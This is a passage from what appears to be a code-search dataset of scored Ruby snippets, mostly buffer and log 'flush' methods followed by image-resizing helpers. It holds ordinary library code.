disk the configuration.')\n if exists?\n Puppet.debug('rhsm.flush: This server will be configured for rhsm.')\n config = :apply\n else\n Puppet.debug('rhsm.flush: The configuration will be completely set to default.')\n config = :remove\n end\n cmds = build_config_parameters(config)\n if (cmds[:remove]).nil?\n Puppet.debug('rhsm.flush: given nothing to remove.')\n else\n cmds[:remove].each do |parameter|\n subscription_manager('config', parameter)\n end\n end\n if (cmds[:apply]).nil?\n Puppet.debug('rhsm.flush: given nothing to configure.')\n else\n cmds[:apply].each do |cmd|\n subscription_manager(['config', cmd])\n end\n end\n @property_hash = self.class.on_disk_configuration\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47156274", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "4b63be7554aacad33997f69f90ccc42b", "score": "0.47155568", "text": "def set_debounce_period(debounce)\n send_request(FUNCTION_SET_DEBOUNCE_PERIOD, [debounce], 'L', 0, '')\n end", "title": "" }, { "docid": "b011786b861fbf6258d1758ba0abaf99", "score": "0.47135028", "text": "def flush\n Puppet.debug('rhsm.flush: will sync to disk the configuration.')\n if exists?\n Puppet.debug('rhsm.flush: This server will be configured for rhsm.')\n config = :apply\n else\n Puppet.debug('rhsm.flush: The configuration will be completely set to default.')\n config = :remove\n end\n cmds = build_config_parameters(config)\n if (cmds[:remove]).nil?\n Puppet.debug('rhsm.flush: given nothing to remove.')\n else\n cmds[:remove].each do |parameter|\n subscription_manager('config', parameter)\n end\n end\n if (cmds[:apply]).nil?\n Puppet.debug('rhsm.flush: given nothing to configure.')\n else\n subscription_manager(*cmds[:apply])\n end\n @property_hash = self.class.on_disk_configuration\n end", "title": "" }, { "docid": "16ba242dff69ca907e810e715bc9c759", "score": "0.4700396", "text": "def periodically &block\n self.iter += 1\n self.current_iter += 1\n now = Time.now.utc.to_f\n if enough_iterations? || enough_time?(now)\n metrics = []\n block.call(metrics, (now-last_time))\n sender.send(*metrics)\n self.last_time = now\n self.current_iter = 0\n end\n end", "title": "" }, { "docid": "96d39c3db7689af93e1a8099696e2755", "score": "0.46950343", "text": "def flush\n return self if buffer.empty?\n @dispatch = true\n @dispatcher.wakeup if @dispatcher.status == 'sleep'\n self\n end", "title": "" }, { "docid": "bb0396019d0759b83e03d6c346fc1b76", "score": "0.46804368", "text": "def should_flush?\n @last_flush.value > @count_interval\n end", "title": "" }, { "docid": "b83f86329e74a8aa62196d1d8aec9913", "score": "0.4657933", "text": "def flush(options = {})\n\n @logger.debug(\"Aggregate flush call with #{options}\")\n\n # Protection against no timeout defined by Logstash conf : define a default eviction instance with timeout = DEFAULT_TIMEOUT seconds\n if @@default_timeout.nil?\n @@default_timeout = DEFAULT_TIMEOUT\n end\n if !@@flush_instance_map.has_key?(@task_id)\n @@flush_instance_map[@task_id] = self\n @timeout = @@default_timeout\n elsif @@flush_instance_map[@task_id].timeout.nil?\n @@flush_instance_map[@task_id].timeout = @@default_timeout\n end\n\n if @@flush_instance_map[@task_id].inactivity_timeout.nil?\n @@flush_instance_map[@task_id].inactivity_timeout = @@flush_instance_map[@task_id].timeout\n end\n\n # Launch timeout management only every interval of (@inactivity_timeout / 2) seconds or at Logstash shutdown\n if @@flush_instance_map[@task_id] == self && (!@@last_flush_timestamp_map.has_key?(@task_id) || Time.now > @@last_flush_timestamp_map[@task_id] + @inactivity_timeout / 2 || options[:final])\n events_to_flush = remove_expired_maps()\n\n # at Logstash shutdown, if push_previous_map_as_event is enabled, it's important to force flush (particularly for jdbc input plugin)\n if options[:final] && @push_previous_map_as_event && !@@aggregate_maps[@task_id].empty?\n events_to_flush << extract_previous_map_as_event()\n end\n\n # tag flushed events, indicating \"final flush\" special event\n if options[:final]\n events_to_flush.each { |event_to_flush| event_to_flush.tag(\"_aggregatefinalflush\") }\n end\n\n # update last flush timestamp\n @@last_flush_timestamp_map[@task_id] = Time.now\n\n # return events to flush into Logstash pipeline\n return events_to_flush\n else\n return []\n end\n\n end", "title": "" }, { "docid": "81ab65331b84041f40d975c81d913213", "score": "0.4648967", "text": "def flush\n puts \"Current threadpool queue for timers: #{@threadpool.size}\" if ENV[\"VVERBOSE\"]\n # Flushing is usually very fast, but always fix it so that the\n # entire thing is based on a constant start time\n # Saves on time syscalls too\n flush_start = Time.now.to_i\n \n n = @active_timers.size\n t = Benchmark.measure do \n ts = (flush_start - flush_start % @flush_interval)\n timers = @active_timers.dup\n @active_timers = {}\n timers.each_slice(50) do |keys|\n @fast_threadpool.queue ts, keys do |timestamp, keys|\n keys.each do |key, values|\n puts \"Storing #{values.size} values to redis for #{key} at #{timestamp}\" if ENV[\"VVERBOSE\"]\n # Store all the aggregates for the flush interval level\n count = values.count\n @redis.store_timer timestamp, \"#{key}:mean\", values.mean\n @redis.store_timer timestamp, \"#{key}:count\", count \n @redis.store_timer timestamp, \"#{key}:min\", values.min\n @redis.store_timer timestamp, \"#{key}:max\", values.max\n @redis.store_timer timestamp, \"#{key}:upper_90\", values.percentile_90\n if count > 1\n @redis.store_timer timestamp, \"#{key}:stddev\", values.standard_dev\n end\n @redis.store_raw_timers_for_aggregations key, values\n end\n end\n end\n end\n puts \"Flushed #{n} timers in #{t.real} seconds\" if ENV[\"VERBOSE\"]\n\n # If it's time for the latter aggregation to be written to disk, queue\n # those up\n @retentions.each_with_index do |retention, index|\n # First retention is always just flushed to redis on the flush interval\n next if index.zero?\n # Only if we're in need of a write to disk - if the next flush will be\n # past the threshold\n if (flush_start + @flush_interval) > @last_flushes[retention] + retention.to_i\n puts \"Starting disk writing for timers@#{retention}\" if ENV[\"VERBOSE\"]\n t = Benchmark.measure do \n ts = (flush_start - flush_start % retention.to_i)\n @timers.keys.each_slice(400) do |keys|\n @threadpool.queue ts, keys, retention do |timestamp, keys, retention|\n keys.each do |key|\n values = @redis.extract_values_from_string(\"#{key}:#{retention}\")\n if values\n values = values.collect(&:to_f)\n puts \"Writing the aggregates for #{values.count} values for #{key} at the #{retention} level to disk.\" if ENV[\"VVERBOSE\"]\n count = values.count\n [\"mean\", \"count\", \"min\", \"max\", [\"upper_90\", \"percentile_90\"], [\"stddev\", \"standard_dev\"]].each do |aggregation|\n if aggregation.is_a? Array\n name = aggregation[0]\n aggregation = aggregation[1]\n else\n name = aggregation\n end\n val = (count > 1 ? values.send(aggregation.to_sym) : values.first)\n @diskstore.append_value_to_file(@diskstore.build_filename(\"#{key}:#{name}:#{retention}\"), \"#{timestamp} #{val}\")\n end\n end\n end\n end\n end\n @last_flushes[retention] = flush_start\n end\n puts \"#{Time.now}: Handled disk writing for timers@#{retention} in #{t.real}\" if ENV[\"VERBOSE\"]\n\n # If this is the last retention we're handling, flush the\n # times list to redis and reset it\n if retention == @retentions.last\n puts \"Clearing the timers list. Current state is: #{@timers}\" if ENV[\"VVERBOSE\"]\n t = Benchmark.measure do \n @redis.add_datapoint @timers.keys\n @timers = {}\n end\n puts \"#{Time.now}: Flushed datapoints for timers in #{t.real}\" if ENV[\"VERBOSE\"]\n end\n\n end\n end\n\n end", "title": "" }, { "docid": "09fd8493c3daaee5bb189d1094897f00", "score": "0.46292514", "text": "def periodic\n @counter += 1\n check_save\n expire_kickvotes if @counter % 10 == 0\n if @disco\n if @counter % 2 == 0\n @server.puts \"time set 0\"\n else\n @server.puts \"time set 16000\"\n end\n end\n @users.each do |user|\n next unless @timers.has_key? user\n @timers[user].each do |item, duration|\n next if duration.nil?\n @server.puts \"give #{user} #{item} 64\" if @counter % duration == 0\n end\n end\n end", "title": "" }, { "docid": "e12255ed6aa6101af760a06a4390d1fa", "score": "0.46288335", "text": "def do_flush\n @channels.each_value { |c| c.flush }\n @zk_tables.each_value { |t| t.flush }\n @dbm_tables.each_value { |t| t.flush }\n end", "title": "" }, { "docid": "b3fab2afe12bf0a4210b21a92923a68f", "score": "0.46252424", "text": "def periodic\n end", "title": "" }, { "docid": "b88e9b40c561d25c1809640354298a8f", "score": "0.46128953", "text": "def flushall(options = nil)\n if options && options[:async]\n send_command(%i[flushall async])\n else\n send_command([:flushall])\n end\n end", "title": "" }, { "docid": "f9eced8693ab2dfb999210268806a99d", "score": "0.46125317", "text": "def write( event )\n str = event.instance_of?(::Logging::LogEvent) ?\n layout.format(event) : event.to_s\n return if str.empty?\n\n if @auto_flushing == 1\n canonical_write(str)\n else\n str = str.force_encoding(encoding) if encoding && str.encoding != encoding\n @mutex.synchronize {\n @buffer << str\n }\n flush_now = @buffer.length >= @auto_flushing || immediate?(event)\n\n if flush_now\n if async?\n @async_flusher.signal(flush_now)\n else\n self.flush\n end\n elsif @async_flusher && flush_period?\n @async_flusher.signal\n end\n end\n\n self\n end", "title": "" }, { "docid": "0314f2b3b60b42d31270a8bedbb4d989", "score": "0.46085146", "text": "def send_profiling_flush(flush)\n raise NotImplementedError\n end", "title": "" }, { "docid": "3493e0d4f5fcf6b7c4962fe6607bff1b", "score": "0.4598793", "text": "def send_pending_metrics\n while @pending_metrics.size > 0\n period, metrics, routing_key, headers = @pending_metrics.shift\n puts \"Sending metrics #{metrics.inspect}\"\n @channel.headers(\"period.#{period}ms\").\n publish(Marshal.dump(metrics), :routing_key => routing_key, :headers => headers)\n end\n end", "title": "" }, { "docid": "a88f01781914a0e2ce7bac5b9d4ab8e2", "score": "0.45898703", "text": "def flush\n @messages.each {|(l, m)| @inner.log(l, m)}\n end", "title": "" }, { "docid": "ee002ccfa7ced40efe14bbaae95947b8", "score": "0.45835143", "text": "def trace_log!\n Merb.logger.auto_flush = true\n end", "title": "" }, { "docid": "2940440555bab3d73df1bdfd3e44ab57", "score": "0.45781997", "text": "def flush_and_shutdown(&block)\n @after_next_flush = -> { block.call; shutdown }\n end", "title": "" }, { "docid": "bebc00ba45a3869737aa4a325c9c3676", "score": "0.45768422", "text": "def flush_emit\n time = Fluent::Engine.now\n if @output_per_tag\n flush.each do |tag, message|\n router.emit(\"#{@tag_prefix_string}#{tag}\", time, message)\n end\n else\n\n flush.each do |message|\n #message = flush\n router.emit(@tag, time, message) unless message.empty?\n end\n end\n end", "title": "" }, { "docid": "d4b8241985dc80c12f4b0360bd02dcce", "score": "0.457602", "text": "def flush_to_consumers\r\n @consumers.each { |consumer| consumer.push_data @buffer}\r\n @buffer.clear\r\n @time_at_last_flush = Time.now.to_i\r\n end", "title": "" }, { "docid": "8b0e3f1f904302e250e2ab8c1607db3d", "score": "0.45610392", "text": "def disable_wflush\n @enable_wflush = false\n return nil\n end", "title": "" }, { "docid": "2620046b25915b0369122769e3c436db", "score": "0.45533085", "text": "def heartbeat_frequency=(seconds)\n if seconds <= 0\n raise ArgumentError, \"The heartbeat frequency cannot be 0 seconds\"\n end\n\n @heartbeat_frequency = seconds\n end", "title": "" }, { "docid": "64abbe3f816e6ad9bfc28fb57c8cf0ed", "score": "0.45518693", "text": "def flush\n synch { send_mail }\n Logger.log_internal {\"Flushed EmailOutputter '#{@name}'\"}\n end", "title": "" }, { "docid": "7acc49010efaa95db248a45342ea70c3", "score": "0.45405263", "text": "def can_flush?\n (Time.now - @last_send).to_f > put_rate_decay || @buffer.size >= Px::Service::Kinesis.config.max_buffer_length\n end", "title": "" }, { "docid": "b02e9ca8b19aabac7d85fe400dc64d64", "score": "0.45354486", "text": "def set_heartbeat_interval(interval)\n @hrtbt_int && raise(\"Can't set heartbeat interval twice\")\n @hrtbt_int = interval\n\n log(\"Heartbeat interval for #{peer} : <#{hrtbt_int}s>\")\n @keep_alive_timer = EM.add_periodic_timer(1) { keep_alive }\n end", "title": "" }, { "docid": "52e264180d573faff6774caf1442660f", "score": "0.45349523", "text": "def register\n @queue = []\n @logger = Logger.new(STDOUT)\n @logger.level = Logger::DEBUG\n\n # Buffer is sufficiently big and with a big enough delay that it won't flush on its own\n buffer_initialize(\n :max_items => 100,\n :max_interval => 100,\n :logger => nil\n )\n\n self.reset()\n end", "title": "" }, { "docid": "0d1a65b470f763603a3302640b69aaa3", "score": "0.45267928", "text": "def setup_periodic_block\n self.class.run_after_blocks.each {|s, b| Thread.new {EM.run {EM.add_periodic_timer(s, Proc.new {b.call(self)})}} }\n end", "title": "" }, { "docid": "a63516746b59e5f5add9f93bc691aeaa", "score": "0.45068362", "text": "def autoflush()\n @connection.autoflush()\n end", "title": "" }, { "docid": "f9a8768a0b96c9a250ed70edeaf80cf8", "score": "0.45055324", "text": "def buffer_flush(options={})\r\n super\r\n if options[:force]\r\n @compression_stream_state[:insert_mutex].synchronize do\r\n flush_compression_buffer(:force => true)\r\n end\r\n end\r\n end", "title": "" }, { "docid": "e381072a3ad22fe7cee9acf0e726549f", "score": "0.44997513", "text": "def flush()\n do_flush() if self.respond_to?(:do_flush)\n end", "title": "" }, { "docid": "0db9439dbc5a09273889bcf9eaf0bcef", "score": "0.4497505", "text": "def flush\n @log.flush if @log.respond_to?(:flush)\n end", "title": "" }, { "docid": "b439e62b19fd3707a7b2b8a2d3ea3f5b", "score": "0.44934985", "text": "def flush\n @conf['sensu'] = @sensu\n\n File.open(config_file, 'w') do |f|\n f.puts JSON.pretty_generate(@conf)\n end\n end", "title": "" }, { "docid": "b439e62b19fd3707a7b2b8a2d3ea3f5b", "score": "0.44934985", "text": "def flush\n @conf['sensu'] = @sensu\n\n File.open(config_file, 'w') do |f|\n f.puts JSON.pretty_generate(@conf)\n end\n end", "title": "" }, { "docid": "23d140e36a928e3626be225bdedb3004", "score": "0.44897142", "text": "def flush\n @on_buffered.call(@buffer)\n @buffer = []\n end", "title": "" }, { "docid": "e53482a5d13a9e834c5dcd066c469420", "score": "0.44828397", "text": "def send_email_buffered(text,frequency=nil,include_filename=nil)\n node = get_node\n @send_email_warning_messages ||= Array.new\n @send_email_warning_messages << \"[at #{Time.now.strftime('%Y-%m-%d %H:%M')}] \"+text.to_s\n @send_email_warning_sent ||= Hash.new\n @send_email_buffered_frequency ||= 1.hour\n @send_email_buffered_frequency = frequency if frequency and frequency.is_a? Integer\n mark_time(:first_send_email_call) unless time_at_mark(:first_send_email_call)\n @include_filename = include_filename\n\n unless @send_email_buffered_thread and @send_email_buffered_thread.alive?\n @send_email_buffered_thread = Thread.new do\n info_message(\"send_email_buffered is starting a new thread to send #{@send_email_warning_messages.size} queued messages.\")\n loop do\n while (not @send_email_warning_messages.empty?)\n info_message(\"send_email_buffered is considering sending #{@send_email_warning_messages.size} queued messages. #{time_since_mark(:first_send_email_call) / 60} minutes since the last send. Sending every #{@send_email_buffered_frequency / 60} minutes.\")\n if ((self.max_buffered_emails and self.max_buffered_emails > 0 and @send_email_warning_messages.size >= self.max_buffered_emails) or (time_since_mark(:first_send_email_call) > @send_email_buffered_frequency))\n @send_email_warning_sent.clear\n mark_time(:first_send_email_call)\n end\n send_buffered_emails(@include_filename) unless @send_email_warning_sent[node]\n sleep 5.minutes\n end\n info_message(\"send_email_buffered thread is waiting; no messages to send.\")\n sleep 5.minutes\n end\n end\n else\n info_message(\"send_email_buffered is not starting a new mail thread; one is already running. #{@send_email_warning_messages.size} messages to send; last sent at #{time_at_mark(:first_send_email_call).to_s}\")\n end\n end", "title": "" }, { "docid": "ab9328ce4c6f38cd49d4124619ed6d15", "score": "0.4478863", "text": "def flush\n @logger.flush if @logger.respond_to?(:flush)\n end", "title": "" }, { "docid": "ab9328ce4c6f38cd49d4124619ed6d15", "score": "0.4478863", "text": "def flush\n @logger.flush if @logger.respond_to?(:flush)\n end", "title": "" }, { "docid": "c202d3dbfcc53e60f2464d910b335ee6", "score": "0.44693235", "text": "def flush\n @hash.each do |tok, msgs|\n #Copy the messages from the queue into the payload array.\n payloads = []\n msgs.size.times {payloads << msgs.deq}\n return if payloads.nil? || payloads.empty?\n\n #Use the payloads array to build a string that will be\n #used as the http body for the logplex request.\n body = \"\"\n payloads.flatten.each do |payload|\n body += \"#{fmt(payload)}\"\n end\n\n #Build a new HTTP request and place it into the queue\n #to be processed by the HTTP connection.\n req = Net::HTTP::Post.new(@logplex_url.path)\n req.basic_auth(\"token\", tok)\n req.add_field('Content-Type', 'application/logplex-1')\n req.body = body\n @request_queue.enq(req)\n @hash.delete(tok)\n @last_flush = Time.now\n end\n end", "title": "" }, { "docid": "2054d8c6d1c46224e262a9b4da6b01e9", "score": "0.44588783", "text": "def flush\n synchronize do\n publish_batch!\n @cond.broadcast\n end\n\n self\n end", "title": "" }, { "docid": "60301289c32e0ca66d412ef1f62c6fe8", "score": "0.44556463", "text": "def flush!\n @logger.debug \"FLUSH ==========> #{@output_type}\"\n if (@output_type == :blank) then\n @output << \"\\n\"\n elsif (@buffer.length > 0) then\n if @add_paragraph then\n @output << \"p. \" if @output_type == :paragraph\n @add_paragraph = false\n end\n @output << \"bq. \" if current_mode == :blockquote\n @output << \"#\" * @list_indent_stack.length << \" \" if @output_type == :ordered_list\n @output << \"*\" * @list_indent_stack.length << \" \" if @output_type == :unordered_list\n @output << inline_formatting(@buffer) << \"\\n\"\n end\n clear_accumulation_buffer!\n end", "title": "" }, { "docid": "6e80863e129de1dce174b3d65d8809bb", "score": "0.4449573", "text": "def flush\n if @property_flush && @property_flush != {}\n command = build_from_type(:on_modify)\n command.execute\n end\n end", "title": "" }, { "docid": "75f714468abd0c0c28bdedc9eac51c43", "score": "0.44492185", "text": "def autoflush_log; end", "title": "" }, { "docid": "a66fb2a0ca6736ef5b3f1f09c72b1f66", "score": "0.4445148", "text": "def multiline_reset_flush\n @multiline_flush_thread.wakeup\n end", "title": "" }, { "docid": "14ab43bb313ba5897c54c12f289b965f", "score": "0.44415", "text": "def send_frequent_status_updates(opts = {})\n sleep_time = opts.delete(:interval) || 10\n stream = opts.delete(:stream_name)\n while true\n message = lambda { |o| update_message_body(o.merge(content: status)) }\n logger.info \"Send update to status board #{message.call(opts)}\"\n pipe_to(stream || :status_stream) { message.call(opts) }\n sleep sleep_time\n end\n end", "title": "" }, { "docid": "316f0247a657c404f92f529926142885", "score": "0.44389227", "text": "def flush_thin\n connection = request.env['template_streaming.thin_connection'] and\n EventMachineFlush.flush(connection)\n end", "title": "" }, { "docid": "316f0247a657c404f92f529926142885", "score": "0.44389227", "text": "def flush_thin\n connection = request.env['template_streaming.thin_connection'] and\n EventMachineFlush.flush(connection)\n end", "title": "" } ]
6a0145da49e1b5fd61aac4e50171e6af
Resize an image Resize an image to a specific width and specific height. Resize is EXIFaware.
[ { "docid": "282004acc0b102adecd4e76850f88ed5", "score": "0.58472085", "text": "def resize_resize_simple_with_http_info(width, height, image_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResizeApi.resize_resize_simple ...'\n end\n # verify the required parameter 'width' is set\n if @api_client.config.client_side_validation && width.nil?\n fail ArgumentError, \"Missing the required parameter 'width' when calling ResizeApi.resize_resize_simple\"\n end\n # verify the required parameter 'height' is set\n if @api_client.config.client_side_validation && height.nil?\n fail ArgumentError, \"Missing the required parameter 'height' when calling ResizeApi.resize_resize_simple\"\n end\n # verify the required parameter 'image_file' is set\n if @api_client.config.client_side_validation && image_file.nil?\n fail ArgumentError, \"Missing the required parameter 'image_file' when calling ResizeApi.resize_resize_simple\"\n end\n # resource path\n local_var_path = '/image/resize/target/{width}/{height}'.sub('{' + 'width' + '}', width.to_s).sub('{' + 'height' + '}', height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params['imageFile'] = image_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResizeApi#resize_resize_simple\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "3d78fcd5850609cf401bd3e891f545e3", "score": "0.763289", "text": "def resizeImage(width,height)\n if @image != nil\n @image.resize(width,height)\n @image.applyOn(@imageBox)\n end\n end", "title": "" }, { "docid": "3b6feae482bd4d57f69244bc56bd7c57", "score": "0.74919677", "text": "def resizeImage(imageName)\n image = MiniMagick::Image.open(imageName)\n height = image.height\n width = image.width\n\n if height > width\n ratio = 128.0 / height\n reHeight = (height * ratio).floor\n reWidth = (width * ratio).floor\n else\n ratio = 128.0 / width\n reHeight = (height * ratio).floor\n reWidth = (width * ratio).floor\n end\n\n image.resize(\"#{reHeight} x #{reWidth}\")\n image.write(\"resize.jpg\")\n end", "title": "" }, { "docid": "a497685b1c4f81cc54bca43e6e0b203d", "score": "0.7359852", "text": "def resize_to_fit!(image, width, height)\n with_minimagick(image) do |img|\n img.combine_options do |cmd|\n yield cmd if block_given?\n cmd.resize \"#{width}x#{height}\"\n end\n end\n end", "title": "" }, { "docid": "66876bcf38301ca34bdd12f10889429a", "score": "0.7356974", "text": "def resize_image(img, size)\n img.delete_profile('*')\n\n # resize_image take size in a number of formats, we just want\n # Strings in the form of \"crop: WxH\"\n if (size.is_a?(String) && size =~ /^crop: (\\d*)x(\\d*)/i) ||\n (size.is_a?(Array) && size.first.is_a?(String) &&\n size.first =~ /^crop: (\\d*)x(\\d*)/i)\n img.crop_resized!($1.to_i, $2.to_i)\n # We need to save the resized image in the same way the\n # orignal does.\n quality = img.format.to_s[/JPEG/] && get_jpeg_quality\n out_file = write_to_temp_file(img.to_blob { self.quality = quality if quality })\n self.temp_paths.unshift out_file\n else\n old_resize_image(img, size) # Otherwise let attachment_fu handle it\n end\n end", "title": "" }, { "docid": "cd1be9b4c2fc88f7aa3868819366c81c", "score": "0.72522825", "text": "def resize_image(img_path)\n img = MiniMagick::Image.open(img_path)\n print_status(\"Original #{img_path} dimension = #{img.height}x#{img.width}\")\n new_width = img.width - (img.width * REIZEPERT).to_i\n new_height = img.height - (img.height * REIZEPERT).to_i\n img = img.resize(\"#{new_width}x#{new_height}\")\n print_status(\"Resized #{img_path} dimension = #{img.height}x#{img.width}\")\n img.write(img_path)\nend", "title": "" }, { "docid": "dff41e254abe093049da5f49dfa963ce", "score": "0.72043043", "text": "def resize_image(img, size)\n size = size.first if size.is_a?(Array) && size.length == 1\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n if size.is_a?(Fixnum)\n # Borrowed from image science's #thumbnail method and adapted \n # for this.\n scale = size.to_f / (img.width > img.height ? img.width.to_f : img.height.to_f)\n img.resize!((img.width * scale).round(1), (img.height * scale).round(1), false)\n else\n img.resize!(size.first, size.last, false) \n end\n else\n w, h = [img.width, img.height] / size.to_s\n img.resize!(w, h, false)\n end\n temp_paths.unshift random_tempfile_filename\n self.size = img.export(self.temp_path)\n end", "title": "" }, { "docid": "7b27cc8e74b1d11401705709296c624b", "score": "0.7167845", "text": "def resize_and_optimize(width, height)\n manipulate! do |img|\n img.format(\"jpg\") do |c|\n c.quality \"70\"\n c.resize \"#{width}x#{height}\"\n end\n\n img\n end\n end", "title": "" }, { "docid": "5b4cdb5e25c60da6167a506608fe8471", "score": "0.70818394", "text": "def resize_to_fit(new_width, new_height)\n manipulate! do |image|\n resize_image(image,new_width,new_height)\n end\n end", "title": "" }, { "docid": "5b4cdb5e25c60da6167a506608fe8471", "score": "0.70818394", "text": "def resize_to_fit(new_width, new_height)\n manipulate! do |image|\n resize_image(image,new_width,new_height)\n end\n end", "title": "" }, { "docid": "2dffd395d598b893ae615f2e6a53966d", "score": "0.70747197", "text": "def resize_to_fit(width, height)\n manipulate! do |image|\n resize_image image, width, height\n end\n self\n end", "title": "" }, { "docid": "2ded4ce49cca0667318ab3bbda2a0f3e", "score": "0.70379585", "text": "def resize_resize_simple(width, height, image_file, opts = {})\n data, _status_code, _headers = resize_resize_simple_with_http_info(width, height, image_file, opts)\n data\n end", "title": "" }, { "docid": "45612fd3b6f4ecf7227e5429a6601d19", "score": "0.70208466", "text": "def resize_to_limit!(image, width, height)\n with_minimagick(image) do |img|\n img.combine_options do |cmd|\n yield cmd if block_given?\n cmd.resize \"#{width}x#{height}>\"\n end\n end\n end", "title": "" }, { "docid": "1c1a3602e7c53d81c06265fb4fcc3a15", "score": "0.69841325", "text": "def scale_to_fit(width, height)\n @image = @image.scale_to_fit(width, height)\n self\n end", "title": "" }, { "docid": "36236f7e69e7490dc50ebfd7db3c3d02", "score": "0.69703066", "text": "def resize_to_fit width, height\n manipulate! do |image|\n cols = image.width\n rows = image.height\n\n if width != cols or height != rows\n scale = [width/cols.to_f, height/rows.to_f].min\n cols = (scale * (cols + 0.5)).round\n rows = (scale * (rows + 0.5)).round\n image.resize cols, rows do |img|\n yield(img) if block_given?\n img.save current_path\n end\n end\n end\n end", "title": "" }, { "docid": "37d56fe459fde3af00c57492be5b8723", "score": "0.6941284", "text": "def my_resize(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}!\"\n img\n end\n end", "title": "" }, { "docid": "08d4ae21b6d0cee4dee8cc1abb2a4859", "score": "0.69281137", "text": "def resize_to_fit(width, height)\n manipulate! do |img|\n img.manipulate!(:resize => \"#{width}x#{height}\")\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "79888e4d0548856dfa780cd15e4dd2fb", "score": "0.6926947", "text": "def resize_image(img, size)\n size = size.first if size.is_a?(Array) && size.length == 1 && !size.first.is_a?(Fixnum)\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n size = [size, size] if size.is_a?(Fixnum)\n img.thumbnail!(*size)\n elsif size.is_a?(String) && size =~ /^c.*$/ # Image cropping - example geometry string: c75x75\n dimensions = size[1..size.size].split(\"x\")\n img.crop_resized!(dimensions[0].to_i, dimensions[1].to_i)\n elsif size.is_a?(String) && size =~ /^b.*$/ # Resize w/border - example geometry string: b75x75\n dimensions = size[1..size.size].split(\"x\")\n img.change_geometry(dimensions.join(\"x\")) do |cols, rows, image|\n image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows )\n end\n img.background_color = \"black\"\n x_offset = (img.columns - dimensions[0].to_i) / 2\n y_offset = (img.rows - dimensions[1].to_i) / 2\n img = img.extent(dimensions[0].to_i, dimensions[1].to_i, x_offset, y_offset)\n else\n img.change_geometry(size.to_s) { |cols, rows, image| image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows) }\n end\n img.strip! unless attachment_options[:keep_profile]\n temp_paths.unshift write_to_temp_file(img.to_blob)\n end", "title": "" }, { "docid": "a6ac07dae24a61395159cb06ef829538", "score": "0.6919091", "text": "def resizeImage(file, size)\n img_orig = Magick::Image.read(\"public/#{file}\").first\n \n width = img_orig.columns\n height = img_orig.rows\n \n if(width > size || height > size)\n if(width > height)\n height = size * height / width\n width = size\n else\n width = size * height / width\n height = size\n end\n \n img = img_orig.resize_to_fit(width, height)\n \n img.write(\"public/#{file}\")\n end\n end", "title": "" }, { "docid": "07237590aa50bd0bb2f61b5800e1a023", "score": "0.6908176", "text": "def old_resize_image(img, size)\n size = size.first if size.is_a?(Array) && size.length == 1 && !size.first.is_a?(Fixnum)\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n size = [size, size] if size.is_a?(Fixnum)\n img.thumbnail!(*size)\n elsif size.is_a?(String) && size =~ /^c.*$/ # Image cropping - example geometry string: c75x75\n dimensions = size[1..size.size].split(\"x\")\n img.crop_resized!(dimensions[0].to_i, dimensions[1].to_i)\n else\n img.change_geometry(size.to_s) { |cols, rows, image| image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows) }\n end\n self.width = img.columns if respond_to?(:width)\n self.height = img.rows if respond_to?(:height)\n img.strip! unless attachment_options[:keep_profile]\n quality = img.format.to_s[/JPEG/] && get_jpeg_quality\n out_file = 